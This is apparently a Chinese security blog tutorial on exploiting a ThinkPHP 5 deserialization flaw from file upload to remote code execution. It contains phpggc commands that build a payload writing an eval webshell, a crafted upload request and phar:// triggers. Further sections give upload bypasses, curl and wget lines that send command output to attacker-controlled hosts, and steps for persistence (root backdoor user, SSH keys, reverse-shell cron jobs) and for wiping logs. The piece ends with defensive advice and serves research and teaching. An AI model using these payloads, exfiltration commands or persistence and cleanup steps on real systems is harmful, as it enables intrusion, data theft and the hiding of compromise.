ThinkPHP5反序列化漏洞实战:从文件上传到RCE的完整利用链剖析

📅 2026/6/26 19:47:19
ThinkPHP5反序列化漏洞实战:从文件上传到RCE的完整利用链剖析
1. 项目概述从文件上传到RCE的完整链条在Web安全研究领域ThinkPHP5框架的反序列化漏洞是一个经典且极具教学价值的案例。它完美地展示了如何将一个看似独立的“文件上传”功能点通过框架内部的逻辑串联最终演变成一条通往远程代码执行的完整攻击链。很多安全从业者在复现这个漏洞时往往只关注最终的“一键getshell”POC却忽略了其中环环相扣的逻辑链条和每个环节的绕过技巧。今天我就以一个实战研究者的视角带大家完整地走一遍这条利用链不仅告诉你“怎么做”更要讲清楚“为什么能这么做”以及在实际渗透测试中可能遇到的变种和应对思路。这条链的核心在于理解ThinkPHP5框架的请求处理流程、反序列化触发点以及文件上传的后续利用方式。它绝不仅仅是上传一个包含恶意序列化数据的文件那么简单而是涉及对框架路由、控制器、模型以及缓存机制的综合利用。对于安全工程师来说掌握这条链意味着你能更深刻地理解现代PHP框架漏洞的成因并提升在代码审计和实战渗透中的“链式思维”能力。无论你是刚入门Web安全的新手还是想深化内功的资深从业者这篇文章都将提供一份详实的实操指南和原理剖析。2. 漏洞环境搭建与核心原理剖析2.1 靶场环境快速部署要分析漏洞首先得有一个可控的环境。我推荐使用Docker快速搭建一个包含ThinkPHP 5.0.23版本该版本存在典型的反序列化漏洞的测试环境。这里不推荐使用现成的漏洞合集镜像因为自己搭建能让你更清楚地了解框架的目录结构和配置。首先创建一个项目目录并编写docker-compose.yml文件version: 3 services: web: image: php:7.2-apache container_name: tp5_test ports: - 8080:80 volumes: - ./tp5:/var/www/html environment: APACHE_DOCUMENT_ROOT: /var/www/html/public然后进入目录下载ThinkPHP 5.0.23的核心框架代码。你可以通过Composer创建但为了复现漏洞的原始状态我建议直接下载官方历史版本的ZIP包。将解压后的框架代码放入./tp5目录。接着需要修改Apache配置以支持URL重写这是ThinkPHP路由的基础。在./tp5/public目录下创建或修改.htaccess文件IfModule mod_rewrite.c Options FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L] /IfModule最后通过docker-compose up -d启动环境。访问http://localhost:8080看到ThinkPHP的欢迎页面说明环境搭建成功。注意确保你的PHP版本在7.2左右这是与5.0.23版本兼容性较好的一个版本。过高或过低的PHP版本可能会导致一些内置类或函数的行为差异影响漏洞复现。2.2 反序列化漏洞的根源__destruct与__wakeupThinkPHP5的反序列化漏洞之所以能被利用根源在于框架中某些类的魔术方法Magic Method设计存在缺陷。在PHP中当对象被反序列化unserialize()时如果其类中定义了__wakeup()或__destruct()方法这些方法会被自动调用。ThinkPHP5框架中存在多个类在其__destruct()或__wakeup()方法中进行了文件删除、文件写入或调用其他对象方法等操作。攻击者的目标就是构造一个特殊的序列化字符串当它被反序列化时能触发一连串的方法调用最终实现任意文件写入或代码执行。一个关键的起点类是think\process\pipes\Windows。在其__destruct()方法中有类似$this-removeFiles();的调用而removeFiles()方法会遍历一个文件路径数组并尝试删除它们。如果我们能控制这个数组中的内容理论上可以删除任意文件。但这离RCE还很远。真正的利用链需要将“文件删除”转化为“文件写入”进而写入Webshell。这就需要用到PHP内置的“POP链”Property-Oriented Programming构造技巧。我们通过控制一个对象的属性该属性是另一个对象当调用前一个对象的方法时实际上会触发后一个对象的方法如此链式传递直到找到一个能执行危险操作如file_put_contents的“终点”。在ThinkPHP 5.0.23中一条经典的POP链会经过think\process\pipes\Windows-think\model\concern\Conversion-think\model\concern\Attribute-think\Request等多个类最终在Request类的__call()方法中通过call_user_func_array调用一个可控的回调函数结合file_put_contents完成文件写入。2.3 文件上传功能的定位与审计光有反序列化点还不够我们需要一个入口将恶意序列化数据“送”进服务器。这就是“文件上传”功能登场的时候。在实战中这个上传点可能非常明显如用户头像上传也可能很隐蔽比如日志文件上传、缓存文件写入、导入功能等。在ThinkPHP5框架中有几个常见的、可能接受序列化数据作为输入的场景缓存机制ThinkPHP支持将缓存数据序列化后存储到文件中。如果缓存键key或数据data用户部分可控就可能注入序列化对象。Session处理如果使用文件存储Session并且Session数据反序列化处理不当。数据库存储某些字段可能存储序列化后的数组或对象。明确的文件上传功能这是最直接的。开发者可能将用户上传的文件内容直接进行unserialize()操作或者将文件名、路径等信息与反序列化操作关联。我们的利用链选择“文件上传”作为入口是因为它直观且常见。假设目标网站有一个功能允许用户上传一个“配置文件”或“数据备份文件”后端代码可能会读取文件内容并尝试反序列化以恢复配置。即使后端没有明显的反序列化操作我们也可以尝试利用框架本身对请求数据的处理逻辑将序列化数据隐藏在HTTP请求的某个参数如Cookie、HTTP头中再结合文件上传产生的特定服务器路径触发反序列化。3. 利用链的完整构造与分步解析3.1 第一步制作恶意序列化Payload构造Payload是整个攻击的核心。我们不能手动拼接这个复杂的字符串需要编写一个PHP脚本来生成。下面是一个简化版的Payload生成脚本它展示了链中几个关键类的组装逻辑?php namespace think\process\pipes; class Windows { private $files []; public function __construct() { // $this-files 需要被构造成一个包含think\Model对象的数组 // 这里为了演示链的传递先留空实际构造非常复杂 } } namespace think\model\concern; trait Conversion { // 利用trait的特性进行链传递 } namespace think\model\concern; trait Attribute { private $data []; private $withAttr []; public function __construct() { // 将$data和$withAttr构造成能触发think\Request类__call()方法的形态 } } namespace think; class Request { protected $hook []; protected $filter “system”; // 危险函数名 protected $config [ ‘var_pathinfo’ ‘xxxx’, // 用于覆盖的变量 ]; // __call()方法会在对象调用不可访问方法时触发 } // 实际利用中我们需要精心构造属性使得Windows对象的$files属性包含Attribute trait的对象 // 而该对象的$data和$withAttr属性又指向Request对象并设置好$hook和$filter。 // 最终链式调用会执行Windows::__destruct() - ... - Request::__call() - call_user_func_array($this-filter, …) // 生成Payload $obj new Windows(); // 这里需要填充完整的属性构造 $payload serialize($obj); echo $payload; ?实际上公开的EXP工具如phpggc已经集成了这条链。我们可以直接使用它来生成Payloadphp -d “phar.readonly0” phpggc/phpggc ThinkPHP/RCE1 “system” “id” payload.txt这条命令会生成一个执行id命令的序列化字符串。但我们的目标不是执行命令而是写入文件。因此我们需要将命令替换为写入Webshell的PHP代码。但这里有个问题system等函数执行命令是瞬间的而写入文件需要用到file_put_contents。在POP链的终点call_user_func_array期望一个回调函数。我们可以构造$filter为”file_put_contents”但还需要传递两个参数文件名和文件内容。这需要更精细地控制Request对象的其他属性。一个更可行的方案是利用call_user_func_array调用一个我们自定义的、存在于其他类中的静态方法或者利用think\View类等其他的链终点。在实战中我常用的方法是生成一个执行PHP代码的Payload例如php -d “phar.readonly0” phpggc/phpggc ThinkPHP/RCE1 “assert” “file_put_contents(‘shell.php’, ‘?php eval(\\$_POST[cmd]);?’)” --phar phar -o payload.phar这里使用了phar://协议包装Payload这是一种更通用的反序列化触发方式不依赖于特定的unserialize()调用点。3.2 第二步寻找与利用文件上传点有了Payload我们需要将它上传到服务器。假设目标网站有一个头像上传功能前端限制为jpg, png后端可能使用ThinkPHP的Request类接收文件。常规绕过尝试前端绕过直接使用Burp Suite拦截上传请求修改Content-Type和文件后缀名。后缀名欺骗尝试上传payload.php.jpg、payload.php%00.jpg空字节截断在特定PHP版本有效、payload.pHp大小写绕过等。内容欺骗在真正的图片文件末尾追加我们的Payload制作图片马并配合文件包含漏洞使用。但本例中我们需要服务器直接解析序列化数据。更巧妙的思路利用ThinkPHP的缓存机制如果直接的文件上传被严格过滤我们可以换个角度。ThinkPHP的缓存文件通常存储在runtime/目录下文件名和内容可能基于用户输入生成。如果我们能控制缓存键例如通过GET参数?key恶意序列化数据并且服务器在某个时机反序列化这个缓存文件同样能触发漏洞。例如一个常见的场景是网站使用了Cache::set(‘prefix’.$user_input, $data)。如果$user_input我们可控我们可以将其设置为我们的序列化字符串的一部分并设法让缓存文件名或内容包含触发点。实操上传假设我们找到了一个相对宽松的上传点它只检查了Content-Type为image/jpeg。我们可以这样构造请求POST /index.php/user/uploadAvatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name“avatar”; filename“payload.phar” Content-Type: image/jpeg [这里粘贴我们生成的payload.phar的二进制内容] ------WebKitFormBoundaryABC123--关键点在于我们将恶意.phar文件的后缀名改为.phar但将Content-Type声明为image/jpeg。有些粗糙的检查只会验证Content-Type。3.3 第三步触发反序列化与文件写入上传成功只是第一步更重要的是触发服务器对我们上传的文件内容进行反序列化操作。这里有几种常见的触发方式方式一直接访问phar文件需特定配置如果服务器配置不当将.phar文件当作PHP文件解析那么直接访问http://target.com/uploads/payload.phar就可能触发反序列化。但这需要服务器将.phar后缀添加到PHP解析的处理器中这种情况较少见。方式二利用phar://协议流包装器这是最通用、最有效的方法。PHP的phar://协议流可以读取Phar归档文件中的元数据而在读取元数据时会自动反序列化manifest中的信息。这意味着只要我们能让服务器执行任何文件操作函数如file_exists()、file_get_contents()、copy()等的参数中包含phar://路径就能触发反序列化。例如假设目标网站有一个“下载”功能可以从uploads/目录读取文件http://target.com/index.php/home/download?fileuploads/payload.phar如果后端代码这样写$filepath $_GET[‘file’]; readfile($filepath);那么它无法触发因为readfile()直接输出内容。但如果代码是这样$filepath $_GET[‘file’]; if (file_exists($filepath)) { // 这里会触发phar反序列化 // … 后续操作 }或者更常见的是利用文件上传后的“预览”或“检查”功能。我们上传文件后服务器可能会调用getimagesize()、exif_imagetype()等函数来验证是否为真实图片。这些函数都支持流包装器。我们可以尝试将file参数改为filephar://./uploads/payload.phar/test.txt即使test.txt不存在phar://协议在解析归档文件时也会触发元数据反序列化。方式三寻找显式的unserialize()调用点如果我们在代码审计中发现后端在某处直接unserialize()了来自$_POST、$_GET或$_COOKIE的某个参数那将是最直接的触发点。我们可以将生成的序列化字符串进行Base64编码因为可能包含不可打印字符然后通过该参数传递。3.4 第四步实现远程代码执行当反序列化Payload被成功触发我们构造的链最终执行了file_put_contents(‘shell.php’, ‘?php eval($_POST[cmd]);?’)。这个文件会写入到哪里这取决于Payload中指定的路径和服务器进程的当前工作目录及权限。通常为了可靠我们会尝试写入Web根目录下的可访问位置。在ThinkPHP中可能是public/目录。但当前工作目录可能是项目根目录。因此在构造Payload时需要尝试多种路径./shell.php当前目录public/shell.php相对路径/var/www/html/public/shell.php绝对路径需要猜解路径写入成功后我们就获得了一个Webshell。通过中国蚁剑、冰蝎等工具连接http://target.com/shell.php密码为cmd即可执行任意系统命令实现完整的RCE。4. 实战中的变种、绕过与深度利用4.1 当常规链被拦截寻找替代POP链随着ThinkPHP5漏洞的公开很多WAF和主机安全软件已经能识别并拦截经典的Windows类起的POP链。这时我们需要寻找框架中其他具有危险魔术方法的类作为新的起点。例如think\cache\driver\File类的__destruct()方法会调用gc()方法清理过期缓存其中涉及文件删除操作。通过精心构造可以将其与后续链衔接。再比如think\session\driver\Memcache等涉及序列化存储的驱动类也可能成为入口。这要求研究者对ThinkPHP5的代码结构有更深入的了解。一个有效的方法是在本地搭建源码环境使用IDE全局搜索__destruct和__wakeup逐一分析其逻辑看是否存在可控的参数能导向文件操作或方法调用。4.2 文件上传的进阶绕过技巧如果目标系统对文件上传做了更严格的防护我们需要组合拳内容类型检测绕过不仅改Content-Type还要制作真正的GIF/JPEG图片马使用exiftool等工具将Payload写入图片的EXIF信息中如exiftool -Comment‘?php system($_GET[“c”]); ?’ image.jpg。然后寄希望于服务器存在文件包含漏洞或者某个图像处理库在解析EXIF时存在代码注入。文件头检测绕过服务器可能检查文件幻数Magic Number。对于JPEG文件头是FF D8 FF E0。我们可以在Payload前添加这些字节使其看起来像一个损坏的图片。配合phar://协议只要文件以?php等Phar标识开头仍能被识别为Phar归档。.htaccess文件上传如果能上传一个.htaccess文件且服务器允许SetHandler我们可以让服务器将特定后缀如.abc的文件解析为PHP。然后上传后缀为.abc的Webshell。内容如下FilesMatch “.abc$” SetHandler application/x-httpd-php /FilesMatch路径穿越与目录控制在上传时通过修改filename参数为../../../shell.php尝试将文件写入到Web目录的其他位置。这需要服务器未正确过滤路径中的..。4.3 无回显RCE与信息外带在实战中可能由于防火墙、权限等原因即使执行了命令我们也看不到回显。或者我们写入的Webshell被安全软件瞬间删除。这时我们需要使用无回显BlindRCE技术。方法一DNSLog外带数据让目标服务器执行命令将执行结果如whoami拼接到一个我们可控的子域名下通过DNS查询记录来获取结果。# Payload中执行的命令 curl whoami.xxxxxx.dnslog.cn # 在DNSLog平台查看接收到的子域名其中就包含了命令结果在PHP中可以使用system(‘curl …’)或exec(‘ping -c 1 …’)。方法二HTTP请求外带让目标服务器将命令结果通过HTTP GET/POST请求发送到我们控制的接收服务器。# 使用wget或curl wget http://your-server.com/receive.php?result$(whoami|base64)在写入的Webshell中可以执行这样的代码。方法三时间盲注通过命令执行的时间延迟来判断是否成功。例如执行sleep 5如果页面响应延迟了5秒说明命令执行成功。这通常用于布尔判断不适合获取大量数据。4.4 权限维持与痕迹清理获得RCE后除了执行一次性命令我们可能需要进行权限维持。写入后门账户在/etc/passwd和/etc/shadow需root权限中添加一个具有root权限的隐藏用户。安装SSH公钥将我们的公钥写入目标服务器~/.ssh/authorized_keys文件中。创建计划任务通过crontab -e或向/etc/cron.d/写入任务定期反弹Shell。部署隐蔽Webshell将Webshell写入静态文件如.css,.js中通过包含漏洞调用或者使用动态回调的Webshell避免固定连接密码。在完成操作后务必清理日志和访问痕迹清除Web日志echo “” /var/log/apache2/access.log清除命令历史history -c或export HISTFILE/dev/null删除上传的恶意文件使用unlink()函数删除Payload文件和Webshell文件。5. 防御策略与安全开发建议分析了完整的攻击链作为开发者和安全运维我们应该如何防御5.1 代码层防御严格过滤反序列化输入除非绝对必要否则避免使用unserialize()函数。如果必须使用只反序列化来自可信来源的、经过数字签名验证的数据。可以使用json_decode()作为替代。禁用危险魔术方法在核心业务类中谨慎编写__destruct、__wakeup、__call、__callStatic等魔术方法避免在其中执行文件、数据库或系统命令操作。使用白名单机制如果框架需要反序列化应实现一个白名单机制只允许反序列化指定的、安全的类。PHP 7.0 的unserialize()函数提供了第二个参数[‘allowed_classes’ false]来禁用所有类对象的反序列化只反序列化基本类型。及时更新框架官方早已修复ThinkPHP5中的相关漏洞。升级到最新安全版本是最根本的解决方案。5.2 文件上传安全后端验证前端验证形同虚设所有验证必须在后端进行。重命名文件不要使用用户上传的文件名。应使用随机生成的文件名如UUID并保留原始扩展名或者统一改为特定安全后缀如.data。隔离存储将上传的文件存储在Web根目录之外通过脚本如readfile.php?idxxx来读取和分发。这样即使上传了Webshell也无法直接通过URL访问。检查文件内容使用安全的库获取文件的真实MIME类型如finfo_file()而不是依赖Content-Type。对于图片使用GD库或ImageMagick重新渲染保存可以剥离嵌入的恶意代码。限制文件权限上传目录应设置为不可执行chmod -R 755 uploads/或chmod -R 644 uploads/*。在Nginx/Apache配置中禁止上传目录解析PHP等脚本。# Nginx配置示例 location ~* ^/uploads/.*\.(php|php5|jsp|asp)$ { deny all; }5.3 服务器与环境加固禁用危险函数和协议在php.ini中将disable_functions设置为包含system,exec,passthru,shell_exec,proc_open等。同时考虑禁用phar://协议流allow_url_includeOff但注意这可能影响合法功能。配置WAF部署Web应用防火墙设置规则拦截包含phar://、序列化字符串特征如O:、C:后跟数字的请求。最小权限原则运行Web服务的用户如www-data应具有最小必要权限绝不能是root。避免使用该用户向系统关键目录写文件。定期安全审计对代码进行定期的静态安全扫描SAST和动态渗透测试特别是文件上传、反序列化、命令执行等高风险功能点。6. 从漏洞复现到代码审计的思维跃迁复现一个已知漏洞只是起点。真正的价值在于通过这个案例建立起一套属于自己的代码审计和漏洞挖掘方法论。当你再看到一个新的PHP框架或CMS时可以按以下步骤进行快速安全评估入口点收集全局搜索unserialize(、file_put_contents(、system(、eval(等危险函数。关注文件上传、缓存读写、数据库序列化字段、Cookie处理等逻辑。魔术方法审计定位所有包含__destruct、__wakeup、__call、__toString的类分析其逻辑是否存在可控参数。数据流追踪从一个用户可控的输入点如$_GET[‘id’]开始手动或借助工具追踪其在整个应用中的传递过程看是否最终流向了危险函数。POP链构造练习在本地搭建环境尝试将找到的危险起点和终点通过属性连接起来构造出可行的利用链。这需要你对PHP的面向对象机制有深刻理解。ThinkPHP5反序列化漏洞的实战分析就像一本生动的教科书它教会我们的不仅是几个漏洞利用的命令更是一种系统性的、链式的安全攻防思维。在实战中情况往往比靶场复杂得多需要你灵活组合各种技巧并保持对代码和逻辑的深刻洞察。